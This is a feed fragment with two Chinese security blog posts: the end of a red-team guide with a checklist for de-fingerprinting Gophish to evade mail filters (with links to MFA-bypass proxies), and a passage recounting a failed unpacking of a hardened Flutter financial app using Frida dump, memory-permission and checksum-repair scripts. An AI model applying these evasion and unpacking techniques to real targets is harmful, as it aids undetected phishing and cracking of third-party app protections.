&lt;li&gt;转向SMS钓鱼（Smishing）等其他渠道&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;安全对抗是一场永无止境的竞赛。保持学习，持续创新。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;附录&lt;/h2&gt;
&lt;h3&gt;A. Gophish改造Checklist&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;- [ ] 移除 config.go 中的 ServerName
- [ ] 修改 models/email_request.go
  - [ ] 删除 X-Gophish-* 头
  - [ ] 伪造 X-Mailer
  - [ ] 添加业务邮件头
- [ ] 修改 models/campaign.go
  - [ ] 将 RecipientParameter 改为 &quot;id&quot;
- [ ] 修改 webhook/webhook.go
  - [ ] 重命名 SignatureHeader
- [ ] 修改 controllers/route.go
  - [ ] 混淆 /track 路由
  - [ ] 混淆 /report 路由
- [ ] 修改 controllers/phish.go
  - [ ] 实现 FakeNginx404
  - [ ] 添加 QR code 生成端点（可选）
- [ ] 修改 static/ 和 templates/
  - [ ] 重命名 gophish.css → app.css
  - [ ] 更新所有引用
- [ ] 测试构建和运行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;B. 参考资源&lt;/h3&gt;
&lt;h4&gt;Gophish官方资源&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.getgophish.com/&quot;&gt;Gophish官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gophish/gophish&quot;&gt;Gophish GitHub仓库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Gophish二次开发与改造&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sprocketsecurity.com/resources/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls&quot;&gt;Sprocket Security - Customizing Gophish&lt;/a&gt; - 详细介绍Gophish去指纹化改造方法&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/fin3ss3g0d/evilgophish&quot;&gt;EvilGoPhish&lt;/a&gt; - Gophish与Evilginx3集成方案，支持MFA绕过&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/puzzlepeaches/sneaky_gophish&quot;&gt;sneaky_gophish&lt;/a&gt; - Docker化的隐蔽Gophish部署方案&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/352858.html&quot;&gt;FreeBuf - Gophish钓鱼平台二次开发&lt;/a&gt; - 二维码替换功能实现&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/&quot;&gt;CSDN - 基于Gophish的钓鱼渗透测试平台&lt;/a&gt; - 平台化二次开发思路&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Evilginx与MFA绕过&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kgretzky/evilginx2&quot;&gt;Evilginx2 官方GitHub&lt;/a&gt; - 高级中间人钓鱼框架&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://help.evilginx.com/&quot;&gt;Evilginx3 文档&lt;/a&gt; - 最新版本使用指南&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://outpost24.com/blog/red-team-phishing-with-gophish-and-an-evilginx-proxy/&quot;&gt;outpost24 - Evilginx与Gophish组合使用&lt;/a&gt; - 红队钓鱼基础设施搭建&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;邮件网关绕过技术&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc5322&quot;&gt;邮件头安全最佳实践 (RFC 5322)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Fuzzing&quot;&gt;Fuzzing技术概述 (OWASP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sans.org/security-awareness-training/&quot;&gt;社会工程学防御指南 (SANS)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;红队钓鱼实战&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redteam.cafe/&quot;&gt;Red Team Cafe - Phishing Infrastructure&lt;/a&gt; - 红队钓鱼基础设施搭建&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hackenproof.com/&quot;&gt;HackenProof - Advanced Phishing Techniques&lt;/a&gt; - 高级钓鱼技术&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.tencent.com/developer/article/&quot;&gt;腾讯安全 - 钓鱼演练工具Gophish部署&lt;/a&gt; - 企业钓鱼演练实践&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;END&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>记一次失败的 逆向Android 16+数字加固+FlutterAPP踩坑</title><link>https://astro-pure.js.org/blog/android-reverse-flutter-hardening</link><guid isPermaLink="true">https://astro-pure.js.org/blog/android-reverse-flutter-hardening</guid><description>记一次失败的 逆向Android 16+数字加固+FlutterAPP踩坑</description><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这篇文章是我对近期分析“某金融”APP（v5.x 版本）的全过程复盘。&lt;/p&gt;
&lt;p&gt;事先声明：本人完全没有搞过 Android 逆向，仅仅也只是会用工具的初学者，有很多内容和想法都在 AI 的辅助下完成，避免不了出现勘误，感激不尽。&lt;/p&gt;
&lt;p&gt;本次逆向的背景极其特殊：目标运行在 &lt;strong&gt;Android 16&lt;/strong&gt; 系统上，使用了 &lt;strong&gt;Frida 17.5.1&lt;/strong&gt;，且 APP 不仅加了 &lt;strong&gt;360 强力壳&lt;/strong&gt;，核心业务逻辑还是基于 &lt;strong&gt;Flutter&lt;/strong&gt; 开发的。&lt;/p&gt;
&lt;p&gt;这就导致了一个有趣的现象：我原本准备好的“Java 层脱壳三板斧”全部失效，被迫转战 Native 层，最后还要解决高版本安卓的权限和环境问题。为了防止自己（或者后来的读者）忘掉这些基础操作，我也把最基础的环境搭建步骤记录在了第一部分。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;分析目标： Android APP&lt;/p&gt;
&lt;p&gt;运行环境：Google Pixel (Android 16), Magisk Root&lt;/p&gt;
&lt;p&gt;工具链：Frida 17.5.1, Blutter, SoFixer, JADX, Kali&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第一阶段：常规开局与基础脱壳教程&lt;/h2&gt;
&lt;p&gt;拿到 APK 后，查壳确认为 &lt;strong&gt;360 加固&lt;/strong&gt;。按照惯例，面对一代或二代壳，最快的办法就是利用 &lt;code&gt;frida-dexdump&lt;/code&gt; 从内存中暴力搜索并导出 DEX 文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764210708078-ca6100.CbqGhWLi.png&amp;#x26;w=774&amp;#x26;h=593&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;1.1 基础工具：frida-dexdump 使用指南&lt;/h3&gt;
&lt;p&gt;虽然这次在这个 APP 上栽了跟头，但这套流程对付大多数普通加固非常有效，这里先做一个备忘录。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;360 加固虽然会加密本地的 DEX 文件，但在 APP 运行时，必须把 DEX 解密加载到内存中给虚拟机执行。frida-dexdump 就是利用 Frida 脚本在内存中搜索 DEX 文件的特征头（dex\n035），然后把它“扣”出来。&lt;/p&gt;
&lt;p&gt;这对于对付&lt;strong&gt;一代壳&lt;/strong&gt;（整体加固）非常有效，对于部分二代壳（函数抽取）也能把整体结构 Dump 下来（虽然方法体可能是空的）。&lt;/p&gt;
&lt;p&gt;以下是详细的使用步骤：&lt;/p&gt;
&lt;h3&gt;1. 环境准备 (至关重要)&lt;/h3&gt;
&lt;p&gt;在使用 &lt;code&gt;frida-dexdump&lt;/code&gt; 之前，你必须确保你的 Frida 环境是通的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PC 端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;安装 Frida 工具包：&lt;code&gt;pip3 install frida-tools&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;安装 DexDump：&lt;code&gt;pip3 install frida-dexdump&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手机/模拟器端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;手机需要 &lt;strong&gt;Root&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;手机里必须运行 &lt;code&gt;frida-server&lt;/code&gt;，且版本最好与 PC 端的 Frida 版本一致。&lt;/li&gt;
&lt;li&gt;确保 ADB 连接正常 (&lt;code&gt;adb devices&lt;/code&gt; 能看到设备)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 基本使用模式&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;frida-dexdump&lt;/code&gt; 支持两种主要模式：&lt;strong&gt;Spawn（启动模式）&lt;/strong&gt;  和 &lt;strong&gt;Attach（附加模式）&lt;/strong&gt; 。&lt;/p&gt;
&lt;h4&gt;模式 A：附加模式 (推荐)&lt;/h4&gt;
&lt;p&gt;适用于应用已经运行，或者你需要手动绕过一些启动时的检测后再进行 Dump。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在手机上&lt;strong&gt;手动打开&lt;/strong&gt;目标 App，让它停留在主界面（此时壳代码通常已经运行完毕，DEX 已解密加载到内存）。&lt;/li&gt;
&lt;li&gt;在电脑终端运行命令：&lt;br&gt;
Bash&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# -U 表示连接 USB 设备
# -F 表示自动附加到当前最前端显示的 App (Front-most)
frida-dexdump -U -F
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;或者指定包名/进程名：&lt;/em&gt; Bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;frida-dexdump -U -n &amp;#x3C;App包名或进程名&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;模式 B：启动模式 (Spawn)&lt;/h4&gt;
&lt;p&gt;适用于 App 启动速度很快，或者你需要在 App 启动的一瞬间就介入。但对于强壳，Spawn 模式容易被反调试检测到。&lt;/p&gt;
&lt;p&gt;Bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# -f 后跟包名，会自动重启 App 并注入
frida-dexdump -U -f com.example.targetapp
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 常用参数详解&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-o &amp;#x3C;路径&gt;&lt;/code&gt; (Output): 指定导出的 DEX 文件保存的文件夹。如果不写，默认会以包名在当前目录生成文件夹。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d&lt;/code&gt; (Deep Search): &lt;strong&gt;深度搜索模式&lt;/strong&gt;。如果普通模式 Dump 不全或者找不到，加上这个参数。它会扫描更多内存段，速度会慢一些，但更全面。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--sleep &amp;#x3C;秒数&gt;&lt;/code&gt;: 在启动 App 后等待多少秒再开始 Dump。有些壳解密比较慢，可以设置延时等待解密完成。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 结果分析&lt;/h3&gt;
&lt;p&gt;运行成功后，终端会显示类似 &lt;code&gt;[INFO] DexSize=xxxx, SavePath=...&lt;/code&gt; 的日志。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开生成的文件夹。&lt;/li&gt;
&lt;li&gt;你会看到多个 &lt;code&gt;.dex&lt;/code&gt; 文件（如 &lt;code&gt;classes.dex&lt;/code&gt;, &lt;code&gt;classes2.dex&lt;/code&gt;...）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;如何辨别哪个是原本的 DEX？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;看大小&lt;/strong&gt;：通常最大的那个，或者几 MB 大小的，是业务逻辑所在的 DEX。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用工具查看&lt;/strong&gt;：使用 &lt;code&gt;Jadx&lt;/code&gt; 打开这些 DEX 文件。
&lt;ul&gt;
&lt;li&gt;如果看到包名是 &lt;code&gt;com.qihoo.util&lt;/code&gt; 或类似的，那是壳的代码。&lt;/li&gt;
&lt;li&gt;如果看到了目标 App 的真实包名和业务代码，那就是脱壳成功了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;5. frida-dexdump注意事项&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;frida-dexdump&lt;/code&gt; 可能会遇到以下情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;能 Dump 出结构，但方法是空的 (nop)&lt;/strong&gt; ： 这是因为 有些加密壳使用了&lt;strong&gt;函数抽取&lt;/strong&gt;技术。DEX 文件结构在内存里是完整的，但是具体的方法指令（Code Item）在执行前是空的，只有执行该方法时才临时解密填入，执行完又抹掉。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;表现&lt;/em&gt;：用 Jadx 打开 Dump 出来的 DEX，能看到类名和方法名，但点进方法看代码时，全是空的或者只有 &lt;code&gt;return&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;em&gt;对策&lt;/em&gt;：这时候 &lt;code&gt;frida-dexdump&lt;/code&gt; 就不够用了，通常需要使用更高级的基于 ART 运行时的主动调用工具（如 &lt;code&gt;FART&lt;/code&gt;、&lt;code&gt;Youpk&lt;/code&gt; 等）来通过遍历调用所有函数强行触发解密。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反调试导致闪退&lt;/strong&gt;： 如果运行 &lt;code&gt;frida-dexdump&lt;/code&gt; 时 App 闪退，说明被检测到了。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;对策&lt;/em&gt;：你需要先用 Frida 脚本（如 &lt;code&gt;frida-il2cpp-bridge&lt;/code&gt; 带的 bypass 或者是专门的 Anti-Anti-Frida 脚本）去过掉反调试，或者使用魔改版的 frida-server (hluda)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;frida-dexdump&lt;/code&gt; 是脱壳的&lt;strong&gt;第一板斧&lt;/strong&gt;。不管什么壳，先用它跑一遍（建议加 &lt;code&gt;-d&lt;/code&gt; 参数）。运气好能直接拿代码；运气不好（遇到抽取壳），也能拿到完整的类结构，为后续分析打下基础。&lt;/p&gt;
&lt;p&gt;环境准备：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;PC 端&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手机端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;手机必须 &lt;strong&gt;Root&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;手机里运行 &lt;code&gt;frida-server&lt;/code&gt;（版本必须和电脑端的 &lt;code&gt;frida-tools&lt;/code&gt; 一致）。&lt;/li&gt;
&lt;li&gt;确保 ADB 连接正常 (&lt;code&gt;adb devices&lt;/code&gt; 能看到设备)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;操作步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在手机上点击打开目标 APP，让它停留在主界面。&lt;/li&gt;
&lt;li&gt;在电脑终端输入命令（推荐使用附加模式，比较稳）：&lt;/li&gt;
&lt;li&gt;如果成功，工具会在当前目录下生成一个以包名命名的文件夹，里面就是脱下来的 &lt;code&gt;.dex&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1764210708157-6b4a76.GoFo1rpb.png&amp;#x26;w=1481&amp;#x26;h=850&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;预期结果&lt;/strong&gt;：在文件夹中生成一堆 &lt;code&gt;.dex&lt;/code&gt; 文件。&lt;strong&gt;实际结果&lt;/strong&gt;：终端直接报红，进程崩溃。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ERROR:frida-dexdump:[-] Error: access violation accessing 0x70316bc000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;为什么会失败？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;这是 Android 16 新特性与 360 加固对抗的产物。&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内存权限收紧&lt;/strong&gt;：Android 16 对内存页的权限管理极其严格。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加固对抗&lt;/strong&gt;：360 加固在解密 DEX 后，故意将这段内存页的权限设置为  &lt;strong&gt;“仅执行” (x) 或 “不可读”&lt;/strong&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冲突&lt;/strong&gt;：当 &lt;code&gt;frida-dexdump&lt;/code&gt; 试图通过 &lt;code&gt;readByteArray&lt;/code&gt; 去读取这段内存时，因为没有 &lt;code&gt;r&lt;/code&gt; (Read) 权限，触发了系统的 &lt;code&gt;Access Violation&lt;/code&gt;（访问违规），导致脚本或应用崩溃。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 破局：手写脚本“暴力”提权&lt;/h2&gt;
&lt;p&gt;既然标准工具因为“权限不足”读不到，接下来思路很明确：&lt;strong&gt;我是 Root 用户，我可以在读取之前，强行修改内存权限。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我编写了一个自定义的 Frida 脚本 &lt;code&gt;dump_force.js&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;核心逻辑&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;利用 &lt;code&gt;Process.enumerateRanges&lt;/code&gt; 遍历所有内存段。&lt;/li&gt;
&lt;li&gt;利用 &lt;code&gt;Memory.scan&lt;/code&gt; 暴力搜索 DEX 文件头魔法数 &lt;code&gt;64 65 78 0a&lt;/code&gt; (&lt;code&gt;dex\n&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键步骤&lt;/strong&gt;：在读取之前，使用 &lt;code&gt;Memory.protect&lt;/code&gt; 将该内存段强制改为 &lt;code&gt;rwx&lt;/code&gt; (可读可写可执行)。&lt;/li&gt;
&lt;li&gt;读取数据并保存到 SD 卡。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;完整代码实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// dump_force.js - 暴力修改权限脱壳脚本

function write_dex(ptr, len, index) {
    // 保存路径：/sdcard/Download/，方便后续 adb pull
    var filename = &quot;/sdcard/Download/dump_&quot; + ptr + &quot;_&quot; + len + &quot;.dex&quot;;
    var file = new File(filename, &quot;wb&quot;);
    
    try {
        // 尝试直接读取（如果是普通的内存段）
        var buffer = ptr.readByteArray(len);
        file.write(buffer);
        console.log(&quot;[*] 正常读取成功: &quot; + filename);
    } catch (e) {
        // 捕获 Access Violation 错误
        console.log(&quot;[-] 读取受阻 (360保护)，准备暴力破拆权限...&quot;);
        
        try {
            // 【核心操作】强行修改内存页权限为 rwx
            // ptr: 内存起始地址
            // len: 大小
            Memory.protect(ptr, len, &apos;rwx&apos;);
            
            // 再次尝试读取
            var buffer = ptr.readByteArray(len);
            file.write(buffer);
            console.log(&quot;[+] 权限修改成功！文件已抢救: &quot; + filename);
        } catch (e2) {
            console.log(&quot;[!] 彻底失败，可能是内核级保护或无效地址: &quot; + e2);
        }
    }
    file.close();
}

function scan_dex() {
    console.log(&quot;[*] 开始全内存暴力扫描 DEX 头...&quot;);
    
    // 遍历所有“可读”内存段 (r--)，这通常是 DEX 存放的区域
    // 如果 360 把 DEX 藏在不可读区域，这里参数可以改为 &apos;---&apos; 或 &apos;r-x&apos;
    Process.enumerateRanges(&apos;r--&apos;).forEach(function (range) {
        try {
            // 搜索 DEX 特征头: dex\n (64 65 78 0a)
            // 360 可能会抹掉版本号(035)，所以只搜前4个字节
            Memory.scan(range.base, range.size, &quot;64 65 78 0a&quot;, {
                onMatch: function (address, size) {
                    // 简单的校验：DEX 文件偏移 0x20 处存放了文件大小
                    try {
                        var dex_size = address.add(0x20).readUInt();
                        
                        // 过滤掉太小的垃圾数据 (小于 100KB)
                        if (dex_size &gt; 100000 &amp;#x26;&amp;#x26; dex_size &amp;#x3C; 50000000) {
                            console.log(&quot;[+] 发现 DEX 魔法数: &quot; + address + &quot; 大小: &quot; + dex_size);
                            // 执行导出
                            write_dex(address, dex_size, address.toString());
                        }
                    } catch (e) {}
                },
                onError: function (reason) {},
                onComplete: function () {}
            });
        } catch (e) {}
    });
}

setImmediate(scan_dex);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行结果&lt;/h3&gt;
&lt;p&gt;运行命令 frida -U -F -l dump_force.js 后，终端刷出了一片绿色的 [+] 权限修改成功。&lt;/p&gt;
&lt;p&gt;随后我使用 adb pull /sdcard/Download/ . 将文件拉回电脑，得到了几个关键文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dump_0x70316bc000.dex&lt;/code&gt; (约 8MB)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dump_0x7031655480.dex&lt;/code&gt; (约 6.7MB)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这一步，战胜了 Android 16 的权限限制，拿到了加密后的内存镜像。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x03 迷雾：看起来完美的“空壳”&lt;/h2&gt;
&lt;p&gt;由于是从内存 dump 的，文件头部的 Checksum（校验和）通常是错的。直接拖入 JADX 会报错。&lt;/p&gt;
&lt;p&gt;我编写了一个简单的 Python 脚本修复了校验和，然后将那个 8MB 的 DEX 文件拖入 &lt;strong&gt;JADX&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import zlib
import struct
import os
import glob

def fix_dex_checksum(filename):
    with open(filename, &apos;rb&apos;) as f:
        data = bytearray(f.read())

    # DEX 文件至少要有头部信息
    if len(data) &amp;#x3C; 12:
        print(f&quot;[-] {filename} is too small, skipping.&quot;)
        return

    # 1. 修复文件长度 (FileSize) - Offset 32 (0x20), 4 bytes
    # 有些 dump 下来的文件长度可能和 header 里的不一样，顺便修了
    file_size = len(data)
    struct.pack_into(&apos;&amp;#x3C;I&apos;, data, 32, file_size)

    # 2. 修复签名 (Signature) - Offset 12 (0xC), 20 bytes (SHA-1)
    # JADX 有时候不校验签名只校验 checksum，但为了保险，标准修复通常会做 SHA1
    # 3. 修复校验和 (Checksum) - Offset 8 (0x8), 4 bytes
    # 校验范围：从 offset 12 开始到文件结束
    # 算法：Adler-32
    ignored_part = data[0:12]
    checksum_part = data[12:]
    
    new_checksum = zlib.adler32(checksum_part) &amp;#x26; 0xFFFFFFFF
    
    # 将新的 checksum 写入 offset 8 (小端序)
    struct.pack_into(&apos;&amp;#x3C;I&apos;, data, 8, new_checksum)

    # 保存覆盖原文件
    with open(filename, &apos;wb&apos;) as f:
        f.write(data)
    
    print(f&quot;[+] Fixed Checksum for: {filename}&quot;)

# 扫描当前目录下所有的 dump_force 开头的 dex
dex_files = glob.glob(&quot;dump_force_*.dex&quot;)

if not dex_files:
    print(&quot;No dump_force_*.dex files found in current directory.&quot;)
else:
    print(f&quot;Found {len(dex_files)} dex files. Fixing...&quot;)
    for dex in dex_files:
        try:
            fix_dex_checksum(dex)
        except Exception as e:
            print(f&quot;[-] Error fixing {dex}: {e}&quot;)

    print(&quot;Done! Try opening them in JADX now.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JADX 成功反编译了，左侧的包结构非常清晰：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;android.support.*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;com.qihoo.util.*&lt;/code&gt; (壳代码)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzxx.*&lt;/code&gt; (目标包名)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;但当我兴奋地点开&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;cn.com.ljzxxc&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;下的业务类时，傻眼了：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Java&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// LoginActivity.java
public class LoginActivity extends Activity {
    public void onCreate(Bundle bundle) {
        // 空的！或者只有一行 super.onCreate(bundle);
    }
    
    public void login() {
        // 空的！
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所有的方法体要么是空的，要么全是 &lt;code&gt;nop&lt;/code&gt; 指令，要么只有简单的 &lt;code&gt;return&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;这里的思考&lt;/h3&gt;
&lt;p&gt;这非常符合  &lt;strong&gt;“二代壳（函数抽取/类抽取）”&lt;/strong&gt;  的特征。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：加固厂商把 DEX 里的具体指令（Code Item）抽走了，填入空数据。只有当这个方法被真正调用时，壳的代码才会拦截执行流，从别的地方（通常是加密的 bin 文件）解密出指令，填回去，执行完再抹掉。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：我 Dump 下来的是“未填充”的骨架。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;0x04 挣扎：FART 主动调用的死胡同&lt;/h2&gt;
&lt;p&gt;既然是“用时恢复”，那破解思路就是  &lt;strong&gt;“主动触发”&lt;/strong&gt; 。这就是著名的 &lt;strong&gt;FART (Fast Android Art Unpacker)&lt;/strong&gt;  原理。&lt;/p&gt;
&lt;p&gt;只要我写个脚本，把 APP 里所有的类加载一遍，把所有函数都“摸”一遍，壳就不得不解密代码，我再趁机 Dump。&lt;/p&gt;
&lt;p&gt;我编写了一个基于 Frida 的 FART 模拟脚本 &lt;code&gt;fart_memory.js&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// fart_memory.js - 模拟 FART 主动调用
Java.perform(function() {
    console.log(&quot;[*] 开始遍历内存中的类...&quot;);
    
    // 1. 遍历所有已加载的类
    Java.enumerateLoadedClasses({
        onMatch: function(name) {
            // 过滤：只处理目标包名
            if (name.startsWith(&quot;cn.com.ljzitc&quot;)) {
                console.log(&quot;[*] 尝试预热类: &quot; + name);
                try {
                    // 2. 强行加载类
                    var clazz = Java.use(name);
                    // 3. 反射获取所有方法，触发壳的解密逻辑
                    var methods = clazz.class.getDeclaredMethods();
                    console.log(&quot;    - 触发解密成功，方法数: &quot; + methods.length);
                } catch (e) {
                    console.log(&quot;    - 失败: &quot; + e);
                }
            }
        },
        onComplete: function() {
            console.log(&quot;[SUCCESS] 遍历结束，请立刻 Dump！&quot;);
        }
    });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果令人绝望：&lt;/p&gt;
&lt;p&gt;脚本运行后，只打印出了寥寥无几的几个类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzitc.R$id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzitc.R$layout&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cn.com.ljzitc.BuildConfig&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根本没有 LoginActivity，没有 Utils，没有任何业务类&lt;/p&gt;
&lt;p&gt;这意味着这些核心类 根本没有被加载到 Java 虚拟机中，或者 360 用了某种（如自定义 ClassLoader）把它们从 enumerateLoadedClasses 的列表中隐藏了。&lt;/p&gt;
&lt;p&gt;我随后尝试了更底层的 &lt;code&gt;Java.choose(&quot;dalvik.system.DexFile&quot;, ...)&lt;/code&gt; 去扫描堆内存，结果因为 Android 16 移除了相关 API 而报错。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x05 结果：方向错了！&lt;/h2&gt;
&lt;p&gt;我在 Java 层折腾了整整一天，尝试了脱壳、修复、主动调用、内存扫描，结果依然是一具空壳。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;疑点&lt;/strong&gt;：如果核心代码都被抽取了且没加载，那现在的 APP 界面是谁在跑？登录框是谁画出来的？&lt;/p&gt;
&lt;p&gt;我重新审视了那个 8MB 的 DEX 文件。虽然代码是空的，但我决定看看里面的 字符串常量池。&lt;/p&gt;
&lt;p&gt;我用 strings 命令（或记事本）搜索文件内容，突然，一行不起眼的路径映入眼帘：&lt;/p&gt;
&lt;blockquote&gt;
